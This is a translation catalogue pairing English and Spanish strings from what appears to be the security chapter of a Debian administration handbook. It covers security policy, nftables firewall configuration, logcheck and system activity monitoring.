0 - en to es-ES translation catalogue (330 entries)

en: Security
es-ES: Seguridad

en: An information system can have a varying level of importance depending on the environment. In some cases, it is vital to a company's survival. It must therefore be protected from various kinds of risks. The process of evaluating these risks, defining and implementing the protection is collectively known as the “security process”.
es-ES: Un sistema de información puede tener un nivel variable de importancia dependiendo del entorno. En algunos casos es vital para la supervivencia de una empresa. Por lo tanto, debe ser protegido de los diversos tipos de riesgos. El proceso de evaluación de estos riesgos y la definición e implementación de la protección se conocen en su conjunto como «proceso de seguridad».

en: Defining a Security Policy
es-ES: Definición de una política de seguridad

en: <emphasis>CAUTION</emphasis> Scope of this chapter
es-ES: <emphasis>PRECAUCIÓN</emphasis> Alcance de este capítulo

en: The word “security” itself covers a vast range of concepts, tools and procedures, none of which apply universally. Choosing among them requires a precise idea of what your goals are. Securing a system starts with answering a few questions. Rushing headlong into implementing an arbitrary set of tools runs the risk of focusing on the wrong aspects of security.
es-ES: La palabra «seguridad» en sí misma cubre un amplio rango de conceptos, herramientas y procedimientos, ninguno de los cuales es universal. Seleccionar entre ellos requiere una idea precisa de sus metas. Asegurar un sistema comienza con responder unas pocas preguntas. Al precipitarse a implementar un conjunto arbitrario de herramientas corre el riesgo de enfocarse en los aspectos de seguridad equivocados.

en: The very first thing to determine is therefore the goal. A good approach to help with that determination starts with the following questions:
es-ES: Lo primero a determinar, por lo tanto, es el objetivo. Un buen método para ayudar con esta determinación comienza con las siguientes preguntas:

en: <emphasis>What</emphasis> are we trying to protect? The security policy will be different depending on whether we want to protect computers or data. In the latter case, we also need to know which data.
es-ES: ¿<emphasis>Qué</emphasis> estamos tratando de proteger? La política de seguridad será diferente dependiendo de si queremos proteger los equipos o los datos. En este último caso, también es necesario saber qué datos.

en: What are we trying to protect <emphasis>against</emphasis>? Is it leakage of confidential data? Accidental data loss? Revenue loss caused by disruption of service?
es-ES: ¿<emphasis>Contra</emphasis> qué estamos tratando de protegernos? ¿Fuga de datos confidenciales? ¿Pérdida accidental de datos? ¿Perdida de ingresos por interrupción del servicio?

en: Also, <emphasis>who</emphasis> are we trying to protect against? Security measures will be quite different for guarding against a typo by a regular user of the system than they would be when protecting against a determined attacker group.
es-ES: También ¿contra <emphasis>quién</emphasis> estamos tratando de protegernos? Las medidas de seguridad serán diferentes para protegerse contra el error de un usuario regular del sistema de lo que serían contra un grupo de atacantes determinado.

en: The term “risk” is customarily used to refer collectively to these three factors: what to protect, what needs to be prevented from happening, and who will try to make it happen. Modeling the risk requires answers to these three questions. From this risk model, a security policy can be constructed, and the policy can be implemented with concrete actions.
es-ES: Habitualmente, se utiliza el término «riesgo» para referirse al conjunto de estos tres factores: qué proteger, qué necesitamos prevenir antes que suceda y quién intentará hacer que suceda. Modelar el riesgo requiere respuestas a estas tres preguntas. A partir de este modelo de riesgo, podemos construir una normativa de seguridad e implementarla con acciones concretas.

en: <emphasis>NOTE</emphasis> Permanent questioning
es-ES: <emphasis>NOTA</emphasis> Preguntas permanentes

en: Bruce Schneier, a world expert in security matters (not only computer security) tries to counter one of security's most important myths with a motto: “Security is a process, not a product”. Assets to be protected change in time, and so do threats and the means available to potential attackers. Even if a security policy has initially been perfectly designed and implemented, one should never rest on one's laurels. The risk components evolve, and the response to that risk must evolve accordingly.
es-ES: Bruce Schneier, un experto mundial en asuntos de seguridad (no sólo seguridad informática) intenta contrarrestar uno de los mitos más importantes con la frase: «la seguridad es un proceso, no un producto». Los activos a proteger cambian con el tiempo, así como también lo hacen las amenazas y los medios a disposición de los potenciales atacantes. Incluso si inicialmente se diseñó e implementó perfectamente una normativa de seguridad, uno nunca debe dormirse en los laureles. Los componentes del riesgo evolucionan y la respuesta a dicho riesgo debe evolucionar acordemente.

en: Extra constraints are also worth taking into account, as they can restrict the range of available policies. How far are we willing to go to secure a system? This question has a major impact on the policy to implement. The answer is too often only defined in terms of monetary costs, but the other elements should also be considered, such as the amount of inconvenience imposed on system users or performance degradation.
es-ES: Vale la pena el tomar en cuenta restricciones adicionales, dado que pueden limitar el alcance de las políticas disponibles. ¿Hasta dónde estamos dispuestos a llegar para asegurar un sistema? Esta pregunta tiene un gran impacto en la política a implementar. La respuesta es a menudo definida en términos de costos monetarios, pero debe considerar otros elementos, tal como la cantidad de inconvenientes impuestos a los usuarios del sistema o una degradación en el rendimiento.

en: Once the risk has been modeled, one can start thinking about designing an actual security policy.
es-ES: Una vez que modelamos el riesgo, podemos comenzar a pensar en diseñar una política de seguridad real.

en: <emphasis>NOTE</emphasis> Extreme policies
es-ES: <emphasis>NOTA</emphasis> Políticas extremas

en: There are cases where the choice of actions required to secure a system is extremely simple.
es-ES: Hay casos donde la elección de las acciones necesarias para proteger un sistema es extremadamente simple.

en: For instance, if the system to be protected only comprises a second-hand computer, the sole use of which is to add a few numbers at the end of the day, deciding not to do anything special to protect it would be quite reasonable. The intrinsic value of the system is low. The value of the data is zero since they are not stored on the computer. A potential attacker infiltrating this “system” would only gain an unwieldy calculator. The cost of securing such a system would probably be greater than the cost of a breach.
es-ES: Por ejemplo, si el sistema a proteger está compuesto sólo por un equipo de segunda mano, el cual tiene como único uso el sumar unos cuantos números al final del día, la decisión de no hacer nada especial para protegerlo sería bastante razonable. El valor intrínseco del sistema es bajo. El valor de los datos es cero ya que no están almacenados en el equipo. Un atacante potencial que se infiltre en este «sistema» sólo ganaría una calculadora difícil de manejar. El costo de asegurar tal sistema probablemente sea mayor que el costo de una violación.

en: At the other end of the spectrum, we might want to protect the confidentiality of secret data in the most comprehensive way possible, trumping any other consideration. In this case, an appropriate response would be the total destruction of these data (securely erasing the files, shredding of the hard disks to bits, then dissolving these bits in acid, and so on). If there is an additional requirement that data must be kept in store for future use (although not necessarily readily available), and if cost still isn't a factor, then a starting point would be storing the data on iridium–platinum alloy plates stored in bomb-proof bunkers under various mountains in the world, each of which being (of course) both entirely secret and guarded by entire armies…
es-ES: En el otro extremo del espectro, quizás lo que se quiere proteger es la confidencialidad de los datos secretos de la manera más completa posible, superando cualquier otra consideración. En este caso, una respuesta apropiada sería la destrucción total de estos datos (borrar de forma segura los archivos, triturar en pedacitos los discos duros y luego disolverlos en ácido, y así sucesivamente). Si hay un requisito adicional de que los datos sean guardados para un uso futuro (aunque no necesariamente disponibles con facilidad), y si el costo aún no es un factor, entonces un punto de partida podría ser almacenar los datos en placas de aleación de platino—iridio almacenados en búnkeres a prueba de bombas en varias montañas del mundo, cada uno de los cuales es (por supuesto) totalmente secreto y protegido por ejércitos enteros…

en: Extreme though these examples may seem, they would, nevertheless, be an adequate response to defined risks, insofar as they are the outcome of a thought process that takes into account the goals to reach and the constraints to fulfill. When coming from a reasoned decision, no security policy is less respectable than any other.
es-ES: Estos ejemplos podrán parecer extremos, sin embargo, serían una respuesta adecuada a los riesgos definidos, en la medida en que son el resultado de un proceso de pensamiento que tiene en cuenta los objetivos a alcanzar con las limitaciones que deben cumplirse. Cuando provienene de una decisión razonada, ninguna política de seguridad es menos respetable que cualquier otra.

en: In most cases, the information system can be segmented in consistent and mostly independent subsets. Each subsystem will have its own requirements and constraints, and so the risk assessment and the design of the security policy should be undertaken separately for each. A good principle to keep in mind is that a short and well-defined perimeter is easier to defend than a long and winding frontier. The network organization should also be designed accordingly: the sensitive services should be concentrated on a small number of machines, and these machines should only be accessible via a minimal number of check-points; securing these check-points will be easier than securing all the sensitive machines against the entirety of the outside world. It is at this point that the usefulness of network filtering (including by firewalls) becomes apparent. This filtering can be implemented with dedicated hardware, but a possibly simpler and more flexible solution is to use a software firewall such as the one integrated in the Linux kernel.
es-ES: En la mayoría de los casos, el sistema de información puede ser segmentado en subconjuntos coherentes y en su mayoría independientes. Cada subsistema tendrá sus propios requisitos y limitaciones, por lo que se deberá llevar a cabo la evaluación de riesgos y el diseño de la política de seguridad por separado para cada uno. Un buen principio a tener en cuenta es que un perímetro corto y bien definido es más fácil de defender que una frontera larga y sinuosa. Se debe diseñar en consecuencia también la organización de la red: se deben concentrar los servicios sensibles en un pequeño número de máquinas y estas máquinas sólo deben ser accesibles a través de un número mínimo de puntos de control, asegurar estos puntos de control será más fácil que asegurar todas la máquinas sensibles contra la totalidad del mundo exterior. Es en este punto que se hace evidente la utilidad del filtrado de red (incluyendo los firewalls). Puede implementar este filtrado con hardware dedicado, pero posiblemente una solución más simple y flexible sea utilizar un firewall en software como el que se integra en el núcleo Linux.

en: Firewall or Packet Filtering
es-ES: Firewall o el filtrado de paquetes

en: <primary>firewall</primary>
es-ES: <primary>cortafuegos</primary>

en: <emphasis>BACK TO BASICS</emphasis> Firewall
es-ES: <emphasis>VOLVER A LOS CIMIENTOS</emphasis> Firewall

en: <primary>packet</primary><secondary>IP</secondary>
es-ES: <primary>paquete</primary><secondary>IP</secondary>

en: A <emphasis>firewall</emphasis> is a piece of computer equipment with hardware and/or software that sorts the incoming or outgoing network packets (coming to or from a local network) and only lets through those matching certain predefined conditions.
es-ES: Un <emphasis>firewall</emphasis> es una pieza de equipo de cómputo con hardware y/o software que ordena los paquetes entrantes o salientes de la red (que vienen hacia o desde una red local) y sólo permite el paso de aquellos que coinciden con ciertas condiciones predefinidas.

en: A firewall is a filtering network gateway and is only effective on packets that must go through it. Therefore, it can only be effective when going through the firewall is the only route for these packets.
es-ES: Un firewall es una puerta de enlace de la red con filtro y sólo es eficaz en aquellos paquetes que deben pasar a través de ella. Por lo tanto, sólo puede ser eficaz cuando la única ruta para estos paquetes es a través del firewall.

en: <emphasis>SPECIFIC CASE</emphasis> Local Firewall
es-ES: <emphasis>CASO ESPECÍFICO</emphasis> Firewall local

en: The Linux kernel embeds the <emphasis>netfilter</emphasis> firewall, which can be controlled from user space with the <command>iptables</command>, <command>ip6tables</command>, <command>arptables</command> and <command>ebtables</command> commands.
es-ES: El núcleo Linux incorpora el cortafuegos <emphasis>netfilter</emphasis>, que se puede controlar desde el espacio de usuario con los programas <command>iptables</command>, <command>ip6tables</command>, <command>arptables</command> y <command>ebtables</command> commands.

en: To enable a default firewall in Debian execute:
es-ES: Para activar un cortafuegos predeterminado en Debian ejecute:

en: <computeroutput># </computeroutput><userinput>apt install -y nftables
    </userinput><computeroutput>Reading package lists... Done
    ...
    # </computeroutput><userinput>systemctl enable nftables.service</userinput><computeroutput>
    Created symlink /etc/systemd/system/sysinit.target.wants/nftables.service → /lib/systemd/system/nftables.service.
    </computeroutput>
es-ES: <computeroutput># </computeroutput><userinput>apt install -y nftables
    </userinput><computeroutput>Leyendo lista de paquetes... Hecho
    ...
    # </computeroutput><userinput>systemctl enable nftables.service</userinput><computeroutput>
    Created symlink /etc/systemd/system/sysinit.target.wants/nftables.service → /lib/systemd/system/nftables.service.
    </computeroutput>

en: nftables Behavior
es-ES: Comportamiento de nftables

en: A good understanding of the layers 3, 4 and 5 of the OSI (Open Systems Interconnection) model is essential to get the most from netfilter.
es-ES: Es esencial una buena comprensión de las capas 3, 4 y 5 del modelo OSI (Open Systems Interconnection) para sacarle el máximo partido a netfilter.

en: <emphasis>CULTURE</emphasis> The OSI model
es-ES: <emphasis>CULTURA</emphasis> El modelo OSI

en: <primary>OSI</primary><secondary>model</secondary>
es-ES: <primary>OSI</primary><secondary>modelo</secondary>

en: The OSI model is a conceptual model to implement networking protocols without regard to its underlying internal structure and technology. Its goal is the interoperability of diverse communication systems with standard communication protocols.
es-ES: El modelo OSI es un modelo conceptual para implementar protocolos de red sin importar su estructura interna subyacente y su tecnología. Su objetivo es la interoperabilidad de sistemas de comunicación diversos con protocolos de comunicación estándares.

en: This model was defined in the standard ISO/EIC 7498. The following seven layers are described:
es-ES: Este modelo fue definido en el estándar ISO/EIC 7498. Se describen las siguientes siete capas:

en: Physical: transmission and reception of raw bit streams over a physical medium
es-ES: Física: transmisión y recepción de flujos de bits sin procesar a través un medio físico

en: Data Link: reliable transmission of data frames between two nodes connected by a physical layer
es-ES: Enlace de datos: transmisión fiable de estructuras de datos entre dos nodos conectados por una capa física

en: Network: structuring and managing a multi-node network, including addressing, routing and traffic control
es-ES: Red: estructuración y gestión de una red multinodo, incluyendo dirección, enrutamiento y control de tráfico

en: Transport: reliable transmission of data segments between points on a network, including segmentation, acknowledgment and multiplexing
es-ES: Transporte: transmisión fiable de segmentos de datos entre puntos en una red, incluyendo segmentación, reconocimiento y multiplexión

en: Session: managing communication sessions, i.e. continuous exchange of information in the form of multiple back-and-forth transmissions between two nodes
es-ES: Sesión: gestiona sesiones de comunicación, es decir, el intercambio continuo de información en la forma de transmisiones de ida y vuelta entre dos nodos

en: Presentation: translation of data between a networking service and an application; including character encoding, data compression and encryption/decryption
es-ES: Presentación: traducción de datos entre un servicio de red y una aplicación; incluyendo codificación de caracteres, compresión y cifrado/descifrado

en: Application: High-level APIs, including resource sharing, remote file access.
es-ES: Aplicación: APIs de alto nivel, incluyendo el intercambio de recursos, acceso a archivos remotos.

en: The firewall is configured with <emphasis>tables</emphasis>, which hold <emphasis>rules</emphasis> contained in <emphasis>chains</emphasis>. Unlike iptables, <emphasis>nftables</emphasis> does not have any default table. The user decides which and how many tables to create. Every table must have only one of the following five families assigned: <literal>ip</literal>, <literal>ip6</literal>, <literal>inet</literal>, <literal>arp</literal> and <literal>bridge</literal>. <literal>ip</literal> is used if the family is not specified.
es-ES: Este cortafuegos está configurado con tablas (<emphasis>tables</emphasis>), que contienen reglas (<emphasis>rules</emphasis>) que forman parte de cadenas (<emphasis>chains</emphasis>). A diferencia de iptables, <emphasis>nftables</emphasis> no tiene ninguna tabla predeterminada. El usuario decide cuáles y cuántas tablas crear. Cada tabla debe tener solo una de las siguientes cinco familias asignadas: <literal>ip</literal>, <literal>ip6</literal>, <literal>inet</literal>, <literal>arp</literal> y <literal>bridge</literal>. Se usa <literal>ip</literal> si no se especifica la familia.

en: <primary>chain</primary>
es-ES: <primary>cadena</primary>

en: Rules are made of statements, which includes some expressions to be matched and then a verdict statement, like <literal>accept</literal>, <literal>drop</literal>, <literal>queue</literal>, <literal>continue</literal>, <literal>return</literal>, <literal>jump chain</literal> and <literal>goto chain</literal>.
es-ES: Las reglas están formadas por declaraciones («statements»), lo que incluye algunas expresiones que deben coincidir y luego una declaración de veredicto como <literal>accept</literal>, <literal>drop</literal>, <literal>queue</literal>, <literal>continue</literal>, <literal>return</literal>, <literal>jump chain</literal> y <literal>goto chain</literal>.

en: <primary>rule</primary>
es-ES: <primary>regla</primary>

en: <emphasis>BACK TO BASICS</emphasis> ICMP
es-ES: <emphasis>VOLVER A LOS CIMIENTOS</emphasis> ICMP

en: For reference, a receive buffer is a small memory zone storing data between the time it arrives from the network and the time the kernel handles it. If this zone is full, new data cannot be received, and ICMP signals the problem, so that the emitter can slow down its transfer rate (which should ideally reach an equilibrium after some time).
es-ES: A modo de referencia, un búfer de recepción es una pequeña zona de memoria que almacena datos entre el momento que llegan desde la red y el momento en que éstos son gestionados por el núcleo. Si esta zona está llena, no se pueden recibir nuevos datos e ICMP señalará el problema para que el emisor puede ralentizar su velocidad de transferencia (que idealmente debería alcanzar un equilibrio después de algún tiempo).

en: <primary>receive buffer</primary>
es-ES: <primary>recepción, búfer de</primary>

en: <primary>buffer</primary><secondary>receive buffer</secondary>
es-ES: <primary>búfer</primary><secondary>de recepción</secondary>

en: Moving from iptables to nftables
es-ES: Migrando de iptables a nftables

en: The tools <command>iptables-nft</command>, <command>ip6tables-nft</command>, <command>arptables-nft</command>, <command>ebtables-nft</command> are versions of iptables that use the nftables API, so users can keep using the old iptables syntax with them, but that is not recommended; these tools should only be used for backwards compatibility.
es-ES: Las herramientas <command>iptables-nft</command>, <command>ip6tables-nft</command>, <command>arptables-nft</command>, <command>ebtables-nft</command> son versiones de iptables que usan la API de nftables, de forma que los usuarios puedan seguir usando la vieja sintaxis de iptables con ellas, pero no se recomienda; estas herramientas solo deberían usarse para compatibilidad inversa.

en: Syntax of <command>nft</command>
es-ES: Sintaxis de <command>ntf</command>

en: The <command>nft</command> commands allow manipulating tables, chains and rules. The <literal>table</literal> option supports multiple operations: <literal>add</literal>, <literal>create</literal>, <literal>delete</literal>, <literal>list</literal> and <literal>flush</literal>. <command>nft add table ip6 mangle</command> adds a new table from the family <literal>ip6</literal>.
es-ES: Las órdenes de <command>nft</command> permiten manipular tables, cadenas y reglas. La opción <literal>table</literal> admite varias operaciones: <literal>add</literal>, <literal>create</literal>, <literal>delete</literal>, <literal>list</literal> y <literal>flush</literal>. <command>nft add table ip6 mangle</command> añade una nueva tabla de la familia <literal>ip6</literal>.

en: To insert a new base chain to the <literal>filter</literal> table, you can execute the following command (note that the semicolon is escaped with a backslash when using Bash):
es-ES: Para insertar una nueva cadena base en la tabla <literal>filter</literal>, puede ejecutar la siguiente orden (tenga en cuenta que se debe escapar el punto y coma con una barra invertida cuando se usa Bash):

en: Rules are usually added with the following syntax: <command>nft add rule [<replaceable>family</replaceable>] <replaceable>table</replaceable> <replaceable>chain</replaceable> handle <replaceable>handle</replaceable> statement</command>.
es-ES: Normalmente las reglas se añaden con la siguiente sintaxis: <command>nft add rule [<replaceable>familia</replaceable>] <replaceable>tabla</replaceable> <replaceable>cadena</replaceable> handle <replaceable>handle</replaceable> statement</command>.

en: <command>insert</command> is similar to the <command>add</command> command, but the given rule is prepended to the beginning of the chain or before the rule with the given handle instead of at the end or after that rule. For example, the following command inserts a rule before the rule with handler number 8:
es-ES: <command>insert</command> es similar a la orden <command>add</command>, pero la regla proporcionada se antepone al principio de la cadena o antes de la regla con el <foreignphrase>handle</foreignphrase> proporcionado en vez de al principio o al final de la regla. Por ejemplo, la siguiente orden inserta una regla ante de la regla con el <foreignphrase>handle</foreignphrase> número 8:

en: The executed <command>nft</command> commands do not make permanent changes to the configuration, so they are lost if they are not saved. The firewall rules are located in <filename>/etc/nftables.conf</filename>. A simple way to save the current firewall configuration permanently is to execute <command>nft list ruleset &gt; /etc/nftables.conf</command> as root.
es-ES: Las órdenes <command>nft</command> ejecutadas no realizan cambios permanentes en la configuración, así que se pierden si no se guardan. Las reglas del cortafuegos se encuentran en <filename>/etc/nftables.conf</filename>. Una forma simple de guardar la configuración actual del cortafuegos es ejecutando <command>nft list ruleset &gt; /etc/nftables.conf</command> como superusuario.

en: <command>nft</command> allows many more operations, refer to its manual page <citerefentry><refentrytitle>nft</refentrytitle> <manvolnum>8</manvolnum></citerefentry> for more information.
es-ES: <command>nft</command> permite muchas más operaciones, consulte su página de manual <citerefentry><refentrytitle>nft</refentrytitle> <manvolnum>8</manvolnum></citerefentry> para más información.

en: Installing the Rules at Each Boot
es-ES: Instalación de las reglas en cada arranque

en: In other cases, the recommended way is to register the configuration script in <literal>up</literal> directive of the <filename>/etc/network/interfaces</filename> file. In the following example, the script is stored under <filename>/usr/local/etc/arrakis.fw</filename>.
es-ES: En otros casos, la forma recomendada es registrar el script de configuración en la directiva <literal>up</literal> del archivo <filename>/etc/network/interfaces</filename>. En el siguiente ejemplo, el script está guardado como <filename>/usr/local/etc/arrakis.fw</filename>.

en: <filename>interfaces</filename> file calling firewall script
es-ES: archivo <filename>interfaces</filename> llamando al script del firewall

en: This obviously assumes that you are using <emphasis role="pkg">ifupdown</emphasis> to configure the network interfaces. If you are using something else (like <emphasis>NetworkManager</emphasis> or <emphasis>systemd-networkd</emphasis>), then refer to their respective documentation to find out ways to execute a script after the interface has been brought up.
es-ES: Esto obviamente asume que se está utilizando <emphasis role="pkg">ifupdown</emphasis> para configurar las interfaces de red. Si se está utilizando alguna otra cosa (como <emphasis>NetworkManager</emphasis> o <emphasis>systemd-networkd</emphasis>), entonces se debe consultar la documentación respectiva para averiguar cómo ejecutar un script después de que se levante la interfaz de red.

en: Supervision: Prevention, Detection, Deterrence
es-ES: Supervisión: prevención, detección, disuasión

en: <primary>monitoring</primary>
es-ES: <primary>monitorización</primary>

en: Monitoring is an integral part of any security policy for several reasons. Among them, that the goal of security is usually not restricted to guaranteeing data confidentiality, but it also includes ensuring availability of the services. It is therefore imperative to check that everything works as expected, and to detect in a timely manner any deviant behavior or change in quality of the service(s) rendered. Monitoring activity can help detecting intrusion attempts and enable a swift reaction before they cause grave consequences. This section reviews some tools that can be used to monitor several aspects of a Debian system. As such, it completes <xref linkend="sect.monitoring" />.
es-ES: La monitorización es una parte integral de cualquier política de seguridad por varias razones. Entre ellas, que el objetivo de la seguridad generalmente no se limita a garantizar la confidencialidad de los datos, sino que también incluye garantizar la disponibilidad de los servicios. Por tanto, es imprescindible comprobar que todo funciona como se espera y detectar de manera oportuna cualquier desvío en la conducta o cambio en la calidad de los servicios prestados. Monitorizar la actividad puede ayudar con la detección de intentos de intrusión y permitir una reacción rápida antes que ocurran graves consecuencias. Esta sección revisa algunas de las herramientas que puede utilizar para monitorizar varios aspectos de un sistema Debian. Como tal, esto completa <xref linkend="sect.monitoring" />.

en: Monitoring Logs with <command>logcheck</command>
es-ES: Monitorización de los registros con <command>logcheck</command>

en: <primary>monitoring</primary><secondary>log files</secondary>
es-ES: <primary>monitorización</primary><secondary>archivos de registro</secondary>

en: The <command>logcheck</command> program monitors log files every hour by default. It sends unusual log messages in emails to the administrator for further analysis.
es-ES: El programa <command>logcheck</command> monitoriza los archivos de registro, de forma predeterminada, cada hora. Envía los mensajes de registro inusuales en correos electrónicos al administrador para su posterior análisis.

en: The list of monitored files is stored in <filename>/etc/logcheck/logcheck.logfiles</filename>; the default values work fine if the <filename>/etc/rsyslog.conf</filename> file has not been completely overhauled.
es-ES: La lista de archivos a monitorizar se almacena en <filename>/etc/logcheck/logcheck.logfiles</filename>; los valores predeterminados funcionan bien si no modificó completamente el archivo <filename>/etc/rsyslog.conf</filename>.

en: <command>logcheck</command> can work in one of three more or less detailed modes: <emphasis>paranoid</emphasis>, <emphasis>server</emphasis> and <emphasis>workstation</emphasis>. The first one is <emphasis>very</emphasis> verbose, and should probably be restricted to specific servers such as firewalls. The second (and default) mode is recommended for most servers. The last one is designed for workstations, and is even terser (it filters out more messages).
es-ES: <command>logcheck</command> puede funcionar en una de tres modalidades más o menos detalladas: <emphasis>paranoid</emphasis>, <emphasis>server</emphasis> y <emphasis>workstation</emphasis>. El primero es <emphasis>muy</emphasis> detallado y, probablemente, debería restringirlo a servidores específicos como firewalls. El segundo (y predeterminado) es el modo recomendado para la mayoría de los servidores. El ultimo está diseñado para estaciones de trabajo y es aún más conciso (filtra la mayoría de los mensajes).

en: In all three cases, <command>logcheck</command> should probably be customized to exclude some extra messages (depending on installed services), unless the admin really wishes to receive hourly batches of long uninteresting emails. Since the message selection mechanism is rather complex, <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> is a required — if challenging — read.
es-ES: En los tres casos, probablemente debería personalizar <command>logcheck</command> para excluir algunos mensajes adicionales (dependiendo de los servicios instalados) a menos que el administrador realmente desee recibir a cada hora correos electrónicos enormes y poco interesantes. Dado que el mecanismo de selección de mensajes es bastante complejo, <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> es una lectura — aunque difícil — necesaria.

en: The applied rules can be split into several types:
es-ES: Las reglas aplicadas se puede dividir en varios tipos:

en: those that qualify a message as a cracking attempt (stored in a file in the <filename>/etc/logcheck/cracking.d/</filename> directory);
es-ES: aquellas que clasifican un mensaje como un intento de intrusión — «cracking» (almacenado en un archivo en el directorio <filename>/etc/logcheck/cracking.d/</filename>);

en: those canceling such a qualification (<filename>/etc/logcheck/cracking.ignore.d/</filename>);
es-ES: aquellas que cancelan esta clasificación (<filename>/etc/logcheck/cracking.ignore.d/</filename>);

en: those classifying a message as a security alert (<filename>/etc/logcheck/violations.d/</filename>);
es-ES: aquellos que clasifican un mensaje como una alerta de seguridad (<filename>/etc/logcheck/violations.d/</filename>);

en: those canceling this classification (<filename>/etc/logcheck/violations.ignore.d/</filename>);
es-ES: aquellos que cancelan esta clasificación (<filename>/etc/logcheck/violations.ignore.d/</filename>);

en: finally, those applying to the remaining messages (considered as <emphasis>system events</emphasis>).
es-ES: finalmente, aquellas que son aplicadas a los mensajes restantes (considerados como <emphasis>eventos del sistema</emphasis>).

en: <emphasis>CAUTION</emphasis> Ignoring a message
es-ES: <emphasis>PRECAUCIÓN</emphasis> Ignorar un mensaje

en: Any message tagged as a cracking attempt or a security alert (following a rule stored in a <filename>/etc/logcheck/violations.d/myfile</filename> file) can only be ignored by a rule in a <filename>/etc/logcheck/violations.ignore.d/myfile</filename> or <filename>/etc/logcheck/violations.ignore.d/myfile-<replaceable>extension</replaceable></filename> file.
es-ES: Cualquier mensaje marcado como un intento de intrusión o una alerta de seguridad (siguiendo una regla almacenada en el archivo <filename>/etc/logcheck/violations.d/miarchivo</filename>) sólo puede ser ignorado por una regla en el archivo <filename>/etc/logcheck/violations.ignore.d/miarchivo</filename> o <filename>/etc/logcheck/violations.ignore.d/miarchivo-<replaceable>extensión</replaceable></filename>.

en: A system event is always signaled unless a rule in one of the <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> directories states the event should be ignored. Of course, the only directories taken into account are those corresponding to verbosity levels equal or greater than the selected operation mode.
es-ES: Siempre se indicará un evento de sistema a menos que una regla en alguno de los directorios en <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> indique que el evento debe ser ignorado. Por supuesto, sólo se tomarán en cuenta los directorios que corresponden a los niveles de detalle igual o mayor al modo de funcionamiento seleccionado.

en: Monitoring Activity
es-ES: Monitorización de actividad

en: <primary>monitoring</primary><secondary>activity</secondary>
es-ES: <primary>monitorización</primary><secondary>actividad</secondary>

en: <primary>activity, monitoring</primary>
es-ES: <primary>actividad, monitorización</primary>

en: In Real Time
es-ES: En tiempo real

en: <command>top</command> is an interactive tool that displays a list of currently running processes. The default sorting is based on the current amount of processor use and can be obtained with the <keycap>P</keycap> key. Other sort orders include a sort by occupied memory (<keycap>M</keycap> key), by total processor time (<keycap>T</keycap> key) and by process identifier (<keycap>N</keycap> key). The <keycap>k</keycap> key allows killing a process by entering its process identifier. The <keycap>r</keycap> key allows <emphasis>renicing</emphasis> a process, i.e. changing its priority.
es-ES: <command>top</command> es una herramienta interactiva que muestra una lista de los procesos en ejecución. La ordenación predeterminada es según la cantidad de procesador utilizada y se puede obtener mediante la tecla <keycap>P</keycap>. Entre otros criterios de ordenación podemos encontrar: según la cantidad de memoria ocupada (tecla <keycap>M</keycap>), según el tiempo total de uso de procesador (tecla <keycap>T</keycap>) y según el identificador de proceso (tecla <keycap>N</keycap>). La tecla <keycap>k</keycap> permite matar un proceso ingresando su identificador de proceso. La tecla <keycap>r</keycap> permite ejecutar <emphasis>renice</emphasis> sobre un proceso, es decir: cambiar su prioridad.

en: When the system seems to be overloaded, <command>top</command> is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it is probably an instance of software installed and executed on the system through a vulnerability in a web application.
es-ES: Cuando el sistema aparenta estar sobrecargado, <command>top</command> es una herramienta excelente para ver qué procesos estan compitiendo por el tiempo de procesador o consumiendo demasiada memoria. En particular, a menudo es interesante comprobar si los procesos que están consumiendo los recursos se corresponden con los servicios reales que la máquina debe albergar. Por ejemplo, un proceso desconocido ejecutándose como el usuario www-data debería llamar su atención y ser investigado puesto que posiblemente sea algún tipo de software instalado y ejecutado en el sistema a través de una vulnerabilidad en una aplicación web.

en: <command>top</command> is a very flexible tool and its manual page gives details on how to customize its display and adapt it to one's personal needs and habits.
es-ES: <command>top</command> es una herramienta muy flexible y su página de manual detalla cómo personalizar su presentación y adaptarla a las necesidades y hábitos particulares.

en: The <command>gnome-system-monitor</command> graphical tool is similar to <command>top</command> and it provides roughly the same features.
es-ES: La herramienta gráfica <command>gnome-system-monitor</command> es similar al programa <command>top</command> y proporciona aproximandamente las mismas características.

en: History
es-ES: Historial

en: <primary>activity, history</primary>
es-ES: <primary>actividad, historial</primary>

en: Processor load, network traffic and free disk space are information that are constantly varying. Keeping a history of their evolution is often useful in determining exactly how the computer is used.
es-ES: La carga del procesador, el tráfico de red y el espacio libre en disco son datos que varían constantemente. A menudo es útil disponer de un historial con su evolución para determinar cómo se utiliza exáctamente la máquina.

en: There are many dedicated tools for this task. Most can fetch data via SNMP (<emphasis>Simple Network Management Protocol</emphasis>) in order to centralize this information. An added benefit is that this allows fetching data from network elements that may not be general-purpose computers, such as dedicated network routers or switches.
es-ES: Existen muchas herramientas dedicadas para esta tarea. La mayoría puede obtener datos a través de SNMP (<emphasis>protocolo simple de gestión de red</emphasis>: «Simple Network Management Protocol») para centralizar esta información. Un beneficio adicional es que permite recoger datos de elementos de red que pueden no ser equipos de propósito general, tal como switches o routers dedicados.

en: This book deals with Munin in some detail (see <xref linkend="sect.munin" />) as part of <xref linkend="advanced-administration" xrefstyle="select: label quotedtitle" />. Debian also provides a similar tool, <emphasis role="pkg">cacti</emphasis>. Its deployment is slightly more complex, since it is based solely on SNMP. Despite having a web interface, grasping the concepts involved in configuration still requires some effort. Reading the HTML documentation (<filename>/usr/share/doc/cacti/html/Table-of-Contents.html</filename>) should be considered a prerequisite.
es-ES: Este libro habla de Munin con cierto detalle (ver la <xref linkend="sect.munin" /> como parte del <xref linkend="advanced-administration" xrefstyle="select: label quotedtitle" />. Debian también proporciona una herramienta similar: <emphasis role="pkg">cacti</emphasis>. Su despliegue es algo más complejo puesto que se basa exclusivamente en SNMP. A pesar de que dispone de una interfaz web, entender los conceptos involucrados en la configuración requiere de todas formas un poco de esfuerzo. Debería considerar como prerequisito leer la documentación HTML (<filename>/usr/share/doc/cacti/html/Table-of-Contents.html</filename>).

en: <emphasis>ALTERNATIVE</emphasis> <command>mrtg</command>
es-ES: <emphasis>ALTERNATIVA</emphasis> <command>mrtg</command>

